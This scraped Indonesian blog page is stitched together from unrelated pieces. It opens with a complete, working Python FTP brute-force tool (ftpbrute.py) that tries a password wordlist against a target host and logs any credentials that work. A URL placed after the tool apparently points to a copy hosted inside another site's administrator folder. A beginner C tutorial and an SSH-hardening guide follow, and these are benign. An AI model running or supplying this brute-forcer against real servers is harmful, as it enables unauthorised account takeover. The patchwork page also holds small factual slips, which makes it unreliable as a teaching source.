# This was written for educational purpose and pentest only. Use it at your own risk.
# Update : More efficient
# : prevent loss added
# : Anonymous checker added
# VISIT : http://www.devilzc0de.com
# CODING BY : gunslinger_
# EMAIL : gunslinger.devilzc0de@gmail.com
# TOOL NAME : ftpbrute.py v1.5
# Big thanks darkc0de member : d3hydr8, Kopele, icedzomby, VMw4r3 and all member
# Special thanks to devilzc0de crew : mywisdom, petimati, peneter, flyff666, rotlez, 7460, xtr0nic, devil_nongkrong, cruzen and all devilzc0de family
# Greetz : all member of jasakom.com, jatimcrew.com
# Special i made for jasakom member and devilzc0de family
# Please remember... your action will be logged in target system...
# Author will not be responsible for any damage !!
# Use it with your own risk
import sys
import time
import os
from ftplib import FTP
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
SysCls = 'cls'
else:
SysCls = 'unknown'
log = "ftpbrute.log"
face = '''
.___ .__ .__ _______ .___
__| _/ ____ ___ __|__|| | ________ ____ \ _ \ __| _/ ____ ____ _______ ____ __ _ __
/ __ |_/ __ \\\ \/ /| || | \___ /_/ ___\/ /_\ \ / __ |_/ __ \ _/ ___\\\_ __ \_/ __ \\\ \/ \/ /
/ /_/ |\ ___/ \ / | || |__ / / \ \___\ \_/ \/ /_/ |\ ___/ \ \___ | | \/\ ___/ \ /
\____ | \___ > \_/ |__||____//_____ \ \___ >\_____ /\____ | \___ > \___ >|__| \___ > \/\_/
\/ \/ \/ \/ \/ \/ \/ \/ \/
http://www.devilzc0de.com
by : gunslinger_
ftpbrute.py version 1.0
Brute forcing ftp target
Programmmer : gunslinger_
gunslinger[at]devilzc0de[dot]com
_____________________________________________________________________________________________________________________________________________
'''
option = '''
Usage: ./ftpbrute.py [options]
Options: -t, --target <hostname/ip> | Target to bruteforcing
-u, --user <user> | User for bruteforcing
-w, --wordlist <filename> | Wordlist used for bruteforcing
-h, --help <help> | print this help
Example: ./ftpbrute.py -t 192.168.1.1 -u root -w wordlist.txt
'''
file = open(log, "a")
def MyFace() :
os.system(SysCls)
print face
file.write(face)
def HelpMe() :
MyFace()
print option
file.write(option)
sys.exit(1)
for arg in sys.argv:
if arg.lower() == '-t' or arg.lower() == '--target':
hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-u' or arg.lower() == '--user':
user = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-w' or arg.lower() == '--wordlist':
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-h' or arg.lower() == '--help':
HelpMe()
elif len(sys.argv) <= 1:
HelpMe()
def checkanony() :
try:
print "\n[+] Checking for anonymous login\n"
ftp = FTP(hostname)
ftp.login()
ftp.retrlines('LIST')
print "\n[!] Anonymous login successfuly !\n"
ftp.quit()
except Exception, e:
print "\n[-] Anonymous login unsuccessful...\n"
pass
def BruteForce(word) :
print "[?]Trying :",word
file.write("\n[?]Trying :"+word)
try:
ftp = FTP(hostname)
ftp.login(user, word)
ftp.retrlines('list')
ftp.quit()
print "\n\t[!] Login Success ! "
print "\t[!] Username : ",user, ""
print "\t[!] Password : ",word, ""
print "\t[!] Hostname : ",hostname, ""
print "\t[!] Log all has been saved to",log,"\n"
file.write("\n\n\t[!] Login Success ! ")
file.write("\n\t[!] Username : "+user )
file.write("\n\t[!] Password : "+word )
file.write("\n\t[!] Hostname : "+hostname)
file.write("\n\t[!] Log all has been saved to "+log)
sys.exit(1)
except Exception, e:
#print "[-] Failed"
pass
except KeyboardInterrupt:
print "\n[-] Aborting...\n"
file.write("\n[-] Aborting...\n")
sys.exit(1)
MyFace()
print "[!] Starting attack at %s" % time.strftime("%X")
print "[!] System Activated for brute forcing..."
print "[!] Please wait until brute forcing finish !\n"
file.write("\n[!] Starting attack at %s" % time.strftime("%X"))
file.write("\n[!] System Activated for brute forcing...")
file.write("\n[!] Please wait until brute forcing finish !\n")
checkanony()
try:
preventstrokes = open(wordlist, "r")
words = preventstrokes.readlines()
count = 0
while count < len(words):
words[count] = words[count].strip()
count += 1
except(IOError):
print "\n[-] Error: Check your wordlist path\n"
file.write("\n[-] Error: Check your wordlist path\n")
sys.exit(1)
print "\n[+] Loaded:",len(words),"words"
print "[+] Server:",hostname
print "[+] User:",user
print "[+] BruteForcing...\n"
for word in words:
BruteForce(word.replace("\n",""))
file.close()

http://www.skyway.co.id/administrator/components/ftpbrute.py
C chapter 1
yah, disini saya akan berbagi tentang pemrograman c dari mulai yang paling basic sampai kita lebih serius…
ok, mari kita mulai…
Apa itu C?
C adalah bahasa pemrograman yang berbasis kompiler mendukung tingkat tinggi dan tingkat rendah pernyataan untuk berinteraksi langsung dengan hardware.
Mengapa bahasa C ?
- Simple, serbaguna, bahasa tujuan umum
- Program yang cepat dan efisien
- Apakah menjadi kaya set operator
- Lebih umum dan tidak memiliki batasan
- Dapat dengan mudah memanipulasi dengan bit, byte dan alamat
- Varieties tipe data yang tersedia
- Kompilasi terpisah dari fungsi yang mungkin dan fungsi-fungsi tersebut dapat dipanggil oleh setiap program C
- Blok-bahasa terstruktur
- Dapat diterapkan dalam bidang-bidang pemrograman Sistem seperti sistem operasi, compiler & Interpreters, perakitan dan sebagainya,
Sejarah bahasa C
| Tahun | Bahasa | Di develop oleh | Keterangan |
| 1960 | ALGOL | International Committee | Terlalu umum, terlalu abstrak |
| 1963 | CPL | Cambridge University | Susah dipelajari, dan sulit untuk di implementasikan |
| 1967 | BCPL | Martin Richards | Hanya bisa berurusan dengan masalah-masalah tertentu |
| 1970 | B | Ken Thompson AT & T Bell Labs | Hanya bisa berurusan dengan masalah-masalah tertentu |
| 1972 | C | Dennis Ritchie AT & T Bell Labs | BCPL hilang secara umum dan B dipulihkan |
| Early 80’s | C++ | Bjarne Stroustrup AT & T | Memperkenalkan OOP pada |
Konstanta
Sebuah konstanta adalah nilai tetap, yang tidak pernah berubah selama eksekusi dari sebuah program.
Konstanta dapat dibagi menjadi dua kategori utama:
1. Primer Konstanta (Primary constants)
2. Sekunder Konstanta (Secondary constants)
Jenis data (data type)
Jenis data yang variabel yang digunakan dapat terus dalam bahasa pemrograman dikenal sebagai tipe data.
Tipe data dasar adalah sebagai berikut:
1. Tipe Data numerik
2. Non-Numeric Data Type
3. Tipe Data integer
4. Real Data Type
5. Logical Data Type
6. Dihitung Data Type
1. Tipe data numeric : Semuanya berhubungan dengan angka. Angka-angka ini dapat dari integer (int) atau tipe data real (float) tipe data.
2. Data type non-numeric : Semuanya berhubungan dengan karakter. Setiap karakter atau kelompok karakter yang tertutup dalam tanda kutip akan dianggap sebagai non-numerik atau tipe data karakter.
3. Tipe data integer : berhubungan dengan integer atau bilangan bulat. Semua operasi aritmatika dapat dicapai melalui tipe data ini dan hasilnya bilangan bulat lagi.
4. Tipe data real : berhubungan dengan bilangan real atau data numerik, yang meliputi pecahan. Semua operasi aritmatika dapat dicapai melalui tipe data ini dan hasilnya dapat tipe data nyata (real).
5. Tipe data Logical atau Boolean : hanya salah satu dari dua nilai TRUE atau FALSE pada satu waktu. Dalam komputer, 1 (satu) disimpan untuk TRUE dan 0 (nol) disimpan untuk FALSE.
6. Tipe data enumerate : Berisi data terstruktur dikelompokkan bersama-sama untuk menghasilkan jenis baru. Jenis data ini tidak standar dan kami biasanya didefinisikan oleh pengguna.
Ex.
week_days = ( "senin", "selasa", "rabu", "kamis", "jumat", "sabtu", "minggu"); Arah = ( "Utara", "Timur", "Barat", "Selatan");

Berikut adalah table range tipe data.
| Keyword | Range: low | Range: high | Digits of precision | Bytes of memory | Format-ID |
| char | -128 | 127 | n/a | 1 | %c |
| int | -32, 768 | 32, 767 | N/a | 2 (on 16 bit processor) |
%d |
| long | -2,147, 483, 648 | 2, 147, 483, 647 | N/a | 4 | %ld |
| float | 3.4 x 10-38 | 3.4 x 1038 | 7 | 4 | %f |
| double | 1.7 x 10-308 | 1.7 x 10308 | 15 | 8 | %lf |
| long double | 3.4 x 10-4932 | 3.4 x 10-4932 | 19 | 10 | %Lf |
CATATAN: range yang diperlukan untuk sign dan unsigned int adalah identik dengan mereka yang sign dan unsigned short.
Pada kompiler untuk 8 dan 16 bit prosesor (termasuk prosesor Intel x86 mengeksekusi dalam mode 16 bit, seperti di bawah MS-DOS), sebuah int biasanya 16 bit dan memiliki representasi yang sama sebagai pendek. Pada kompiler untuk 32 bit dan prosesor yang lebih besar (termasuk prosesor Intel x86 melaksanakan di 32 bit mode, seperti Win32 atau Linux) yang biasanya int 32 bit panjang dan memiliki reseprentasi yang sama seperti yang lama.
Saya ingin Anda lihat halaman ini untuk informasi lebih lanjut tentang jenis int untuk berbagai prosesor:
Referensi: http://www.jk-technology.com/c/inttypes.html
Ok, kita lanjut ke program pertama .
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("First C program !!\n");
return 0;
}
lalu save program tersebut contoh dengan nama : program1.c
setelah itu, silahkan buka jendela terminal lalu ketik : gcc -o program1 program1.c
lalu run program dengan mengetikan : ./program1
jika program tersebut menghasilkan seperti ini
First C program !!
Selamat ! anda adalah programmer c tingkat 0 (nol)
ok, sekarang mari kita jelaskan kode line demi line (baris demi baris)
di line 1 -> #include <stdio.h> adalah bagian kompiler yang memberitahu sistem perpustakaan yang diperlukan dan file header sedang direferensikan oleh program ini.
Dalam kasus kami “printf” digunakan dan ini didefinisikan dalam header stdio.h.
stdio.h disebut juga sebagai Standar input output.
di line 2 -> int main(int argc, char *argv[]) adalah bagian awal dari program (int main),
lalu (int argc) adalah sebuah argumen untuk fungsi utama (main) yang merupakan integer menghitung jumlah
argumen string karakter berlalu dalam “char *argv []” (daftar pointer ke string karakter) yang
mungkin akan dilewatkan pada baris perintah ketika kita menjalankan program.
Suatu pointer untuk beberapa hal adalah nama yang diberikan ke alamat memori untuk jenis tipe data.
Kita dapat memiliki pointer ke integer: int * iptr, atau angka floating point: float * fPtr.
Setiap daftar hal-hal yang dijelaskan oleh [], dan jika kita tahu persis seberapa besar daftar ini kita dapat menyatakan itu sebagai [200].
Dalam kasus ini kita tahu bahwa argumen kedua adalah daftar pointer ke string karakter.
di line 3 dan 6 -> { } adalah sebuah awal dan akhir dari program utama yang akan kita jalankan.
yah, mungkin jika anda pernah menjadi programmer pascal itu seperti BEGIN dan END.
dan statement program yang berada didalamnya.
di line 4 -> printf(“First C program !!\n”); adalah kita memanggil library stdio.h untuk printf .
lalu mencetak “First C program !!”
di line 5 -> return 0; adalah kita memberi tahu system untuk akhir program dan mengembalikan ke nol (0).
return 0; biasa dipakai untuk supaya kita mengetahui program itu berjalan dengan baik atau tidak.
ok sekian dulu dari saya untuk c chapter 1 akan saya lanjut chapter 2 dilain waktu karena keterbatasan energi hehehehe…
Menginstall dan konfigurasi ssh server
Apa itu SSH?
Jadi apa yang SSH dan mengapa saya harus peduli? Yah, SSH singkatan dari secure shell dan merupakan cara untuk terhubung ke mesin remote. SSH *nix sangat populer di kalangan pengguna karena keduanya dapat diandalkan, aman, dan mudah beradaptasi. SSH juga mudah untuk menginstal dan cukup lurus ke depan.
-Mengapa SSH?
Tidak seperti FTP dan SSH protokol lain yang aman, semua transaksi akan dienkripsi sehingga mereka tidak dapat disniffing. Tidak seperti SSH FTP username / password kombinasi tidak dikirim dalam bentuk teks. SSH telah dienkripsi dari awal. Hal ini penting karena banyak pengembang web akan sering menggunakan FTP untuk mentransfer file ke server mereka tidak tahu bahwa seseorang dapat dengan mudah meng-sniffing jaringan untuk password mereka. Dengan SSH dengan program seperti scp dan jauh lebih aman sshfs cara untuk mentransfer file ke remote mesin.
Cara mendapatkan / konfigurasi
Banyak distribusi akan datang dengan klien SSH terinstal secara default. Untuk mendapatkan server pada distro berbasis Debian yang dapat Anda lakukan:
- sudo apt-get install openssh-server
Pengguna arch dapat menginstal server / klien dengan:
- sudo pacman -S openssh
Konfigurasi SSH Server
Banyak kali distro untuk konfigurasi default SSH akan bekerja, tapi saya sarankan Anda membuat beberapa perubahan. Biasanya file config adalah dalam: ‘/etc/ssh/sshd_config’
Membuat ssh lebih aman
Seperti semua servis mendengarkan pada port terbuka. ada risiko. Berikut adalah beberapa perubahan konfigurasi yang dapat Anda buat untuk mengurangi beberapa risiko:
Nonaktifkan SSH protokol 1
Perubahan pertama saya akan membuat adalah untuk menonaktifkan SSH usang dari 1 protokol terhubung ke server. Protokol ini hampir tidak pernah digunakan dalam klien SSH modern lagi karena manusia rentan terhadap serangan di tengah. Untuk memastikan bahwa tidak ada klien SSH yang Anda gunakan jatuh kembali ke protokol ini yang terbaik adalah kita nonaktifkan.
Pastikan Anda memiliki baris ini di konfigurasi anda:
- Protocol 2
Tambahkan AllowUsers Tag
Secara default server SSH sering ditetapkan untuk memungkinkan semua pengguna untuk mengakses dari jarak jauh. Hal ini lebih aman untuk menentukan pengguna mana yang kita akan memberikan akses ke sistem ini. Hal ini sangat berguna untuk kondisi multiuser mesin, namun bahkan satu mesin pengguna bisa mendapatkan keuntungan dari tag ini sebagai generik account pengguna dapat secara tidak sengaja diciptakan.
Hanya dengan tambahkan baris ini pada konfigurasi anda:
- AllowUsers (namapengguna1) (namapengguna2)
Dimana (namapengguna1) dan (namapengguna2) adalah username yang diizinkan meremote akses ssh
Nonaktifkan (disable) Root Login
SSH brute force serangan sering mengandalkan username ‘root‘. Dengan tidak menonaktifkan root login Anda memberikan penyerang setengah informasi yang mereka butuhkan untuk mendapatkan akses. Mereka sudah tahu username semua yang mereka perlu lakukan adalah menebak password yang benar. Lebih baik untuk menjaga hal yag terduga.
Bagaimana jika saya perlu melakukan sesuatu sebagai root?
Menonaktifkan login root hanya mencegah login awal menjadi root.
Anda masih dapat beralih user untuk root atau menggunakan sudo pernah dikonfirmasi dengan user biasa.
Untuk menonaktifkan login root pastikan anda telah mengatur ini:
- PermitRootLogin no
Kunci otentikasi berbasis (Key based authentication)
Langkah pertama adalah untuk membuat kunci (key) pada mesin lokal.
Untuk membuat key RSA lakukan (Anda juga dapat melakukan DSA):
- ssh-keygen-t rsa
Maka anda perlu menyalin kunci publik ke server jauh dengan melakukan:
- ssh-copy-id pengguna@remotebox
Atau Anda dapat melakukannya dengan cara lama:
- scp ~/.ssh/id_rsa.pub user@remotebox:.ssh/authorized_keys
Nonaktifkan password autentikasi (Disable password authentication)
Setelah Anda telah berhasil diuji otentikasi berbasis kunci Anda Anda dapat menonaktifkan otentikasi berbasis password.
Hal ini menjamin bahwa semua upaya akses SSH harus mengotentikasi dengan kunci bukan sandi.
Ini semua menghilangkan serangan skrip otomatis terhadap SSH.
- PasswordAuthentication no
Mengubah port default
Baris pertama pertahanan untuk menggagalkan skrip otomatis adalah dengan hanya mengubah port default SSH server Anda. Ini keamanan melalui ketidakjelasan. Ada beberapa cara untuk mendeteksi SSH pada semua port tetapi memindahkan port ssh server Anda dapat secara drastis mengurangi spam ditolak login di log Anda.
Hanya mengubah port ke sesuatu yang lain seperti:
Port 223
Port knocking
Port knocking adalah cara yang bagus untuk membuka port secara remote dengan mengirim urutan tertentu atau “ketukan” ke server jauh.
Setelah ketukan yang benar dikirim, server akan membuka port ke alamat IP tertentu.
hosts.deny/allow
Berikut adalah beberapa aturan umum untuk menolak / mengizinkan akses SSH dengan menggunakan host file.
Biarkan semua orang terhubung dengan Anda.
- sshd: ALL
ATAU Anda dapat membatasi untuk ip tertentu
- sshd: 192.168.0.1
ATAU membatasi untuk rentang IP (IP range)
- sshd: 10.0.0.0/255.255.255.0
ATAU membatasi dengan mencocokan IP (IP matching)
- sshd: 192.168.1.
Personalisasi SSH
Saya ingin menambahkan sentuhan pribadi pada pesan SSH hari ini, (motd - message of the day) .
Saya biasanya akan menambahkan nama server dan beberapa rincian lainnya.
Ini akan membantu membedakan yang menghubungkan server saya ketika saya menemukan diri saya sendiri melakukan koneksi ke semua jenis server sepanjang hari.
Biasanya saya menggunakan program yang disebut, ‘figlet‘ untuk menampilkan nama server saya.
Figlet adalah sebuah aplikasi yang akan mengkonversi teks ke ascii seni dalam berbagai font.
Mengakses SSH dari Dunia Luar
Sekarang bahwa Anda memiliki SSH Anda dan berjalan dan Anda dapat berhasil tersambung ke komputer lain di rumah Anda sudah waktunya untuk mendapatkannya terhubung ke internet untuk remote akses. Jika Anda tidak di belakang NAT Anda mungkin sudah ditetapkan dan bagian ini tidak berlaku untuk Anda, namun sekarang kebanyakan orang di belakang NAT semacam firewall yang membatasi panggilan masuk lalu lintas ke port tertentu kecuali Anda melakukan port forwarding.
Karena terdapat banyak jenis router saya tidak dapat memberikan rincian tentang bagaimana anda pergi tentang port forwarding, namun, ada situs Web yang memiliki hampir setiap router dibayangkan dengan petunjuk tentang cara men-setup port forwarding, portforward.com.
Banyak dari Anda juga akan memiliki alamat IP yang berubah (dinamis).
Hal ini membuat koneksi ke server jauh yang sangat sulit seperti yang Anda perlu tahu apa alamat IP.
Untungnya, ada layanan gratis seperti DynDNS yang akan memberi Anda statis nama domain yang akan diperbarui setiap kali IP berubah.
Bagaimana jika saya terjebak di belakang sebuah perusahaan / universitas firewall dan tidak bisa port forwarding?
Jangan takut, Anda dapat melewati dengan reverse SSH tunneling, tetapi untuk melakukan ini, Anda akan memerlukan komputer yang tengah menjalankan SSH kepada publik.
Ini juga bagaimana layanan seperti, “Go to my pc” bekerja di belakang firewall.














recent comment